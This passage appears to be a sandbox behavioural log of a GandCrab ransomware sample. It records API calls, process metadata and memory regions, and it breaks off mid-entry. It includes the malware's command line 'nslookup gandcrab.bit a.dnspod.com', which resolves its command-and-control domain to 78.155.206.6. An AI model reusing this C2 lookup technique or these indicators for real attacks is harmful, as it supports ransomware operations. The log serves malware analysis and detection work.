[0128.621] __p__fmode () returned 0x77454d6c [0128.621] __p__commode () returned 0x77455b1c [0128.621] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x31cf30) returned 0x0 [0128.621] __getmainargs (in: _Argc=0x321888, _Argv=0x32188c, _Env=0x321890, _DoWildCard=0, _StartInfo=0x32189c | out: _Argc=0x321888, _Argv=0x32188c, _Env=0x321890) returned 0 [0128.621] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0128.621] SetThreadUILanguage (LangId=0x0) returned 0x409 [0128.626] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x322120 | out: lpWSAData=0x322120) returned 0 [0128.628] socket (af=2, type=2, protocol=0) returned 0xc4 [0128.629] closesocket (s=0xc4) returned 0 [0128.629] RtlIpv4StringToAddressA () returned 0x0 [0128.629] RtlInitString (in: DestinationString=0x48bfda8, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") [0128.629] RtlAnsiStringToUnicodeString (in: DestinationString=0x48bfdb0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0 [0128.629] NtOpenKey (in: KeyHandle=0x48bfde0, DesiredAccess=0x20019, ObjectAttributes=0x48bfd90*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x48bfde0*=0xc4) returned 0x0 [0128.629] RtlFreeAnsiString (AnsiString="\\") [0128.630] RtlAnsiStringToUnicodeString (in: DestinationString=0x48bfd9c, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0 [0128.630] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0x4b1f0a0, Length=0x400, ResultLength=0x48bfda4 | out: KeyValueInformation=0x4b1f0a0, ResultLength=0x48bfda4) returned 0xc0000034 [0128.630] RtlAnsiStringToUnicodeString (in: DestinationString=0x48bfd9c, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0 [0128.630] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0x4b1f0a0, Length=0x400, ResultLength=0x48bfda4 | out: KeyValueInformation=0x4b1f0a0*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0x48bfda4) returned 0x0 [0128.630] RtlUnicodeStringToAnsiString (in: DestinationString=0x48bfd94, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0128.630] RtlAnsiStringToUnicodeString (in: DestinationString=0x48bfd9c, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0 [0128.630] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0x4b1f0a0, Length=0x400, ResultLength=0x48bfda4 | out: KeyValueInformation=0x4b1f0a0, ResultLength=0x48bfda4) returned 0xc0000034 [0128.630] RtlInitString (in: DestinationString=0x48bfda8, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") [0128.630] RtlAnsiStringToUnicodeString (in: DestinationString=0x48bfdb0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0 [0128.630] NtOpenKey (in: KeyHandle=0x48bfdcc, DesiredAccess=0x20019, ObjectAttributes=0x48bfd90*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x48bfdcc*=0x0) returned 0xc0000034 [0128.630] RtlFreeAnsiString (AnsiString="\\") [0128.630] RtlAnsiStringToUnicodeString (in: DestinationString=0x48bfd9c, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0 [0128.630] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x4b1f0a0, Length=0x400, ResultLength=0x48bfda4 | out: KeyValueInformation=0x4b1f0a0, ResultLength=0x48bfda4) returned 0xc0000034 [0128.630] RtlAnsiStringToUnicodeString (in: DestinationString=0x48bfd9c, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0 [0128.630] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x4b1f0a0, Length=0x400, ResultLength=0x48bfda4 | out: KeyValueInformation=0x4b1f0a0, ResultLength=0x48bfda4) returned 0xc0000034 [0128.630] gethostname (in: name=0x4da2300, namelen=12800 | out: name="LHnIwsj") returned 0 [0128.668] getenv (_VarName="HOME") returned 0x0 [0128.668] RtlIpv4StringToAddressA () returned 0xc000000d [0128.668] RtlIpv6StringToAddressExA (AddressString="a.dnspod.com", Address=0x48bfe38, ScopeId=0x48bfe48, Port=0x48bfe32) returned 0xc000000d [0128.668] RtlRestoreLastWin32Error () returned 0x2550 [0128.668] getaddrinfo (in: pNodeName="a.dnspod.com", pServiceName=0x0, pHints=0x0, ppResult=0x48bfe00 | out: ppResult=0x48bfe00*=0x4b1cc28*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x4b26698*(sa_family=2, sin_port=0x0, sin_addr="112.90.141.215"), ai_next=0x0)) returned 0 [0128.679] FreeAddrInfoW (pAddrInfo=0x4b1cc28*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x4b26698*(sa_family=2, sin_port=0x0, sin_addr="112.90.141.215"), ai_next=0x0)) [0128.680] _vsnprintf_s (in: _DstBuf=0x48bfce0, _DstSize=0x1f, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x48afca8 | out: _DstBuf="215.141.90.112.in-addr.arpa.") returned 28 [0128.680] htons (hostshort=0x1) returned 0x100 [0128.680] htons (hostshort=0x1) returned 0x100 [0128.681] socket (af=2, type=2, protocol=0) returned 0x190 [0128.681] connect (s=0x190, name=0x4da0d28*(sa_family=2, sin_port=0x35, sin_addr="112.90.141.215"), namelen=16) returned 0 [0128.681] send (in: s=0x190, buf=0x48afce0*, len=45, flags=0 | out: buf=0x48afce0*) returned 45 [0128.682] select (in: nfds=400, readfds=0x489f8e0, writefds=0x0, exceptfds=0x0, timeout=0x489f8b0 | out: readfds=0x489f8e0, writefds=0x0, exceptfds=0x0) returned 0 [0130.683] printf (_Format="DNS request timed out.\n") returned 23 [0130.683] printf (_Format=" timeout was %d seconds.\n") returned 27 [0130.683] closesocket (s=0x190) returned 0 [0130.685] RtlIpv4AddressToStringExA () returned 0xc000000d [0130.685] strcpy_s (in: _Dst=0x4da11a8, _DstSize=0xc, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0130.685] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x4b1f0a0 [0130.685] strcpy_s (in: _Dst=0x322020, _DstSize=0x100, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0130.685] __iob_func () returned 0x77451208 [0130.685] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0x48bfba8, nSize=0x0, Arguments=0x48bfbac | out: lpBuffer=" L²\x04¼û\x8b\x04Ìû\x8b\x045´1") returned 0x7 [0130.685] fprintf (in: _File=0x77451228, _Format="%-7s %s" | out: _File=0x77451228) returned 16 [0130.685] fprintf (in: _File=0x77451228, _Format="\nAddress:" | out: _File=0x77451228) returned 9 [0130.685] inet_ntoa (in=0xd78d5a70) returned="112.90.141.215" [0130.685] fprintf (in: _File=0x77451228, _Format="%c %s" | out: _File=0x77451228) returned 16 [0130.685] fprintf (in: _File=0x77451228, _Format="\n\n" | out: _File=0x77451228) returned 2 [0130.685] RtlIpv4StringToAddressA () returned 0xc000000d [0130.685] RtlIpv6StringToAddressExA (AddressString="gandcrab.bit", Address=0x48bfb88, ScopeId=0x48bfb98, Port=0x48bfb82) returned 0xc000000d [0130.685] RtlRestoreLastWin32Error () returned 0x2550 [0130.685] RtlIpv4StringToAddressA () returned 0xc000000d [0130.685] RtlIpv6StringToAddressExA (AddressString="gandcrab.bit", Address=0x48bfb10, ScopeId=0x48bfb20, Port=0x48bfb0a) returned 0xc000000d [0130.685] RtlRestoreLastWin32Error () returned 0x2550 [0130.685] sprintf_s (in: _DstBuf=0x48bf878, _DstSize=0x202, _Format="%s.%s" | out: _DstBuf="gandcrab.bit.") returned 13 [0130.686] htons (hostshort=0x2) returned 0x200 [0130.686] htons (hostshort=0x1) returned 0x100 [0130.686] socket (af=2, type=2, protocol=0) returned 0x190 [0130.686] connect (s=0x190, name=0x4b1f0c0*(sa_family=2, sin_port=0x35, sin_addr="112.90.141.215"), namelen=16) returned 0 [0130.686] send (in: s=0x190, buf=0x48af878*, len=30, flags=0 | out: buf=0x48af878*) returned 30 [0130.686] select (in: nfds=400, readfds=0x489f478, writefds=0x0, exceptfds=0x0, timeout=0x489f448 | out: readfds=0x489f478, writefds=0x0, exceptfds=0x0) returned 1 [0130.911] recv (in: s=0x190, buf=0x489f838, len=65536, flags=0 | out: buf=0x489f838*) returned 124 [0130.911] closesocket (s=0x190) returned 0 [0130.912] htons (hostshort=0x100) returned 0x1 [0130.912] htons (hostshort=0x100) returned 0x1 [0130.912] htons (hostshort=0x300) returned 0x3 [0130.912] htons (hostshort=0x0) returned 0x0 [0130.912] LocalAlloc (uFlags=0x40, uBytes=0x36b20) returned 0x4b28180 [0130.913] sprintf_s (in: _DstBuf=0x48bf878, _DstSize=0x202, _Format="%s.%s" | out: _DstBuf="gandcrab.bit.") returned 13 [0130.913] htons (hostshort=0x3) returned 0x300 [0130.913] htons (hostshort=0x1) returned 0x100 [0130.913] socket (af=2, type=2, protocol=0) returned 0x190 [0130.913] connect (s=0x190, name=0x4b1f0c0*(sa_family=2, sin_port=0x35, sin_addr="112.90.141.215"), namelen=16) returned 0 [0130.913] send (in: s=0x190, buf=0x48af878*, len=30, flags=0 | out: buf=0x48af878*) returned 30 [0130.914] select (in: nfds=400, readfds=0x489f478, writefds=0x0, exceptfds=0x0, timeout=0x489f448 | out: readfds=0x489f478, writefds=0x0, exceptfds=0x0) returned 1 [0131.106] recv (in: s=0x190, buf=0x489f838, len=65536, flags=0 | out: buf=0x489f838*) returned 100 [0131.106] closesocket (s=0x190) returned 0 [0131.106] htons (hostshort=0x100) returned 0x1 [0131.106] htons (hostshort=0x0) returned 0x0 [0131.106] htons (hostshort=0x100) returned 0x1 [0131.106] htons (hostshort=0x0) returned 0x0 [0131.106] htons (hostshort=0x100) returned 0x1 [0131.106] htons (hostshort=0x0) returned 0x0 [0131.106] htons (hostshort=0x100) returned 0x1 [0131.106] htons (hostshort=0x0) returned 0x0 [0131.106] htons (hostshort=0x100) returned 0x1 [0131.106] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x31, dwLanguageId=0x0, lpBuffer=0x48bfb40, nSize=0x0, Arguments=0x48bfb44 | out: lpBuffer="\x98k±\x04Tû\x8b\x04dû\x8b\x045´1") returned 0x5 [0131.106] fprintf (in: _File=0x77451228, _Format="%-7s %s" | out: _File=0x77451228) returned 21 [0131.106] fprintf (in: _File=0x77451228, _Format="\nAddress:" | out: _File=0x77451228) returned 9 [0131.106] inet_ntoa (in=0x6ce9b4e) returned="78.155.206.6" [0131.106] fprintf (in: _File=0x77451228, _Format="%c %s" | out: _File=0x77451228) returned 14 [0131.106] fprintf (in: _File=0x77451228, _Format="\n\n" | out: _File=0x77451228) returned 2 [0131.106] LocalFree (hMem=0x4b1f0a0) returned 0x0 [0131.106] exit (_Code=0) Thread: id = 89 os_tid = 0xbdc Process: id = "6" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0xb78e000" os_pid = "0xb9c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xba8" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a1d9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2859 start_va = 0x7f0de000 end_va = 0x7f0defff entry_point = 0x0 region_type = private name = "private_0x000000007f0de000" filename = "" Region: id = 2860 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2861 start_va = 0xf6b8a90000 end_va = 0xf6b8aaffff entry_point = 0x0 region_type = private name = "private_0x000000f6b8a90000" filename = "" Region: id = 2862 start_va = 0xf6b8ab0000 end_va = 0xf6b8ac3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f6b8ab0000" filename = "" Region: id = 2863 start_va = 0xf6b8ad0000 end_va = 0xf6b8b0ffff entry_point = 0x0 region_type = private name = "private_0x000000f6b8ad0000" filename = "" Region: id = 2864 start_va = 0x7df5ffd90000 end_va = 0x7ff5ffd8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffd90000" filename = "" Region: id = 2865 start_va = 0x7ff707ba0000 end_va = 0x7ff707bc2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff707ba0000" filename = "" Region: id = 2866 start_va = 0x7ff707bcd000 end_va = 0x7ff707bcefff entry_point = 0x0 region_type = private name = "private_0x00007ff707bcd000" filename = "" Region: id = 2867 start_va = 0x7ff707bcf000 end_va = 0x7ff707bcffff entry_point = 0x0 region_type = private name = "private_0x00007ff707bcf000" filename = "" Region: id = 2868 start_va = 0x7ff707ed0000 end_va = 0x7ff707ee0fff entry_point = 0x7ff707ed0000 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 2869 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2870 start_va = 0xf6b8b90000 end_va = 0xf6b8c8ffff entry_point = 0x0 region_type = private name = "private_0x000000f6b8b90000" filename = "" Region: id = 2871 start_va = 0x7ff9ebc60000 end_va = 0x7ff9ebe3cfff entry_point = 0x7ff9ebc60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2872 start_va = 0x7ff9ee250000 end_va = 0x7ff9ee2fcfff entry_point = 0x7ff9ee250000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2873 start_va = 0xf6b8a90000 end_va = 0xf6b8a9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f6b8a90000" filename = "" Region: id = 2874 start_va = 0xf6b8b10000 end_va = 0xf6b8b4ffff entry_point = 0x0 region_type = private name = "private_0x000000f6b8b10000" filename = "" Region: id = 2875 start_va = 0xf6b8c90000 end_va = 0xf6b8d4dfff entry_point = 0xf6b8c90000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2876 start_va = 0x7ff707aa0000 end_va = 0x7ff707b9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff707aa0000" filename = "" Region: id = 2877 start_va = 0x7ff707bcb000 end_va = 0x7ff707bccfff entry_point = 0x0 region_type = private name = "private_0x00007ff707bcb000" filename = "" Region: id = 2878 start_va = 0x7ff9ebe40000 end_va = 0x7ff9ebedcfff entry_point = 0x7ff9ebe40000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2879 start_va = 0xf6b8aa0000 end_va = 0xf6b8aa6fff entry_point = 0x0 region_type = private name = "private_0x000000f6b8aa0000" filename = "" Region: id = 2880 start_va = 0xf6b8b50000 end_va = 0xf6b8b50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f6b8b50000" filename = "" Region: id = 2881 start_va = 0xf6b8b60000 end_va = 0xf6b8b66fff entry_point = 0x0 region_type = private name = "private_0x000000f6b8b60000" filename = "" Region: id = 2882 start_va = 0xf6b8b70000 end_va = 0xf6b8b7ffff entry_point = 0x0 region_type = private name = "private_0x000000f6b8b70000" filename = "" Region: id = 2883 start_va = 0x7ff9e0000000 end_va = 0x7ff9e0052fff entry_point = 0x7ff9e0000000 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 2884 start_va = 0x7ff9e7dd0000 end_va = 0x7ff9e7f52fff entry_point = 0x7ff9e7dd0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 2885 start_va = 0x7ff9ebee0000 end_va = 0x7ff9ec02dfff entry_point = 0x7ff9ebee0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2886 start_va = 0x7ff9ec1f0000 end_va = 0x7ff9ec46bfff entry_point = 0x7ff9ec1f0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2887 start_va = 0x7ff9ec780000 end_va = 0x7ff9ec8dbfff entry_point = 0x7ff9ec780000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2888 start_va = 0x7ff9ec8e0000 end_va = 0x7ff9eca20fff entry_point = 0x7ff9ec8e0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2889 start_va = 0x7ff9eca30000 end_va = 0x7ff9ecaedfff entry_point = 0x7ff9eca30000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2890 start_va = 0x7ff9ee0a0000 end_va = 0x7ff9ee1c5fff entry_point = 0x7ff9ee0a0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2891 start_va = 0x7ff9ee1f0000 end_va = 0x7ff9ee24afff entry_point = 0x7ff9ee1f0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2892 start_va = 0x7ff9ee4d0000 end_va = 0x7ff9ee654fff entry_point = 0x7ff9ee4d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2893 start_va = 0x7ff9ee6d0000 end_va = 0x7ff9ee705fff entry_point = 0x7ff9ee6d0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2894 start_va = 0xf6b8b80000 end_va = 0xf6b8b80fff entry_point = 0x0 region_type = private name = "private_0x000000f6b8b80000" filename = "" Region: id = 2895 start_va = 0xf6b8d50000 end_va = 0xf6b8ed7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f6b8d50000" filename = "" Region: id = 2896 start_va = 0xf6b8ee0000 end_va = 0xf6b9060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f6b8ee0000" filename = "" Region: id = 2897 start_va = 0xf6b9070000 end_va = 0xf6ba46ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f6b9070000" filename = "" Region: id = 2898 start_va = 0xf6ba470000 end_va = 0xf6ba470fff entry_point = 0x0 region_type = private name = "private_0x000000f6ba470000" filename = "" Region: id = 2899 start_va = 0xf6ba480000 end_va = 0xf6ba4bffff entry_point = 0x0 region_type = private name = "private_0x000000f6ba480000" filename = "" Region: id = 2900 start_va = 0xf6ba4f0000 end_va = 0xf6ba4fffff entry_point = 0x0 region_type = private name = "private_0x000000f6ba4f0000" filename = "" Region: id = 2901 start_va = 0x7ff707bc9000 end_va = 0x7ff707bcafff entry_point = 0x0 region_type = private name = "private_0x00007ff707bc9000" filename = "" Region: id = 2902 start_va = 0x7ff9eb1a0000 end_va = 0x7ff9eb1b2fff entry_point = 0x7ff9eb1a0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2903 start_va = 0x7ff9eb1c0000 end_va = 0x7ff9eb209fff entry_point = 0x7ff9eb1c0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2904 start_va = 0x7ff9eb210000 end_va = 0x7ff9eb21efff entry_point = 0x7ff9eb210000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2905 start_va = 0x7ff9eb520000 end_va = 0x7ff9eb5d2fff entry_point = 0x7ff9eb520000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 2906 start_va = 0x7ff9eb5e0000 end_va = 0x7ff9ebc07fff entry_point = 0x7ff9eb5e0000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 2907 start_va = 0x7ff9ec470000 end_va = 0x7ff9ec515fff entry_point = 0x7ff9ec470000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2908 start_va = 0x7ff9ecb70000 end_va = 0x7ff9ee094fff entry_point = 0x7ff9ecb70000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2909 start_va = 0x7ff9ee660000 end_va = 0x7ff9ee6b0fff entry_point = 0x7ff9ee660000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2910 start_va = 0x7ff9e9a70000 end_va = 0x7ff9e9b05fff entry_point = 0x7ff9e9a70000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2911 start_va = 0xf6ba4c0000 end_va = 0xf6ba4c3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f6ba4c0000" filename = "" Region: id = 2912 start_va = 0xf6ba540000 end_va = 0xf6ba54ffff entry_point = 0x0 region_type = private name = "private_0x000000f6ba540000" filename = "" Region: id = 2913 start_va = 0xf6ba550000 end_va = 0xf6ba886fff entry_point = 0xf6ba550000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2914 start_va = 0xf6ba890000 end_va = 0xf6baaa9fff entry_point = 0x0 region_type = private name = "private_0x000000f6ba890000" filename = "" Region: id = 2915 start_va = 0xf6baab0000 end_va = 0xf6bacc6fff entry_point = 0x0 region_type = private name = "private_0x000000f6baab0000" filename = "" Region: id = 2916 start_va = 0xf6bacd0000 end_va = 0xf6bade6fff entry_point = 0x0 region_type = private name = "private_0x000000f6bacd0000" filename = "" Region: id = 2917 start_va = 0xf6badf0000 end_va = 0xf6bb008fff entry_point = 0x0 region_type = private name = "private_0x000000f6badf0000" filename = "" Region: id = 2918 start_va = 0xf6bb010000 end_va = 0xf6bb122fff entry_point = 0x0 region_type = private name = "private_0x000000f6bb010000" filename = "" Region: id = 2919 start_va = 0xf6bb130000 end_va = 0xf6bb1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f6bb130000" filename = "" Region: id = 2920 start_va = 0x7ff9e9210000 end_va = 0x7ff9e9231fff entry_point = 0x7ff9e9210000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2921 start_va = 0x7ff9e9260000 end_va = 0x7ff9e9272fff entry_point = 0x7ff9e9260000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2922 start_va = 0x7ff9ea620000 end_va = 0x7ff9ea677fff entry_point = 0x7ff9ea620000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2923 start_va = 0xf6ba4d0000 end_va = 0xf6ba4d6fff entry_point = 0x0 region_type = private name = "private_0x000000f6ba4d0000" filename = "" Region: id = 2924 start_va = 0xf6ba4e0000 end_va = 0xf6ba4e4fff entry_point = 0xf6ba4e0000 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 2925 start_va = 0xf6ba500000 end_va = 0xf6ba500fff entry_point = 0xf6ba500000 region_type = mapped_file name = "conhostv2.dll.mui" filename = "\\Windows\\System32\\en-US\\ConhostV2.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\conhostv2.dll.mui") Region: id = 2926 start_va = 0xf6ba510000 end_va = 0xf6ba511fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f6ba510000" filename = "" Region: id = 2927 start_va = 0x7ff9e4530000 end_va = 0x7ff9e47a3fff entry_point = 0x7ff9e4530000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll") Thread: id = 85 os_tid = 0xb7c Thread: id = 86 os_tid = 0xbac Thread: id = 87 os_tid = 0xb64 Thread: id = 88 os_tid = 0xbbc Process: id = "7" image_name = "nslookup.exe" filename = "c:\\windows\\syswow64\\nslookup.exe" page_root = "0x1a310000" os_pid = "0x788" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x79c" cmd_line = "nslookup gandcrab.bit a.dnspod.com" cur_dir = "C:\\Windows\\system32\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a1d9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4703 start_va = 0x310000 end_va = 0x326fff entry_point = 0x310000 region_type = mapped_file name = "nslookup.exe" filename = "\\Windows\\SysWOW64\\nslookup.exe" (normalized: "c:\\windows\\syswow64\\nslookup.exe") Region: id = 4704 start_va = 0xc60000 end_va = 0x4c5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c60000" filename = "" Region: id = 4705 start_va = 0x4c60000 end_va = 0x4c7ffff entry_point = 0x0 region_type = private name = "private_0x0000000004c60000" filename = "" Region: id = 4706 start_va = 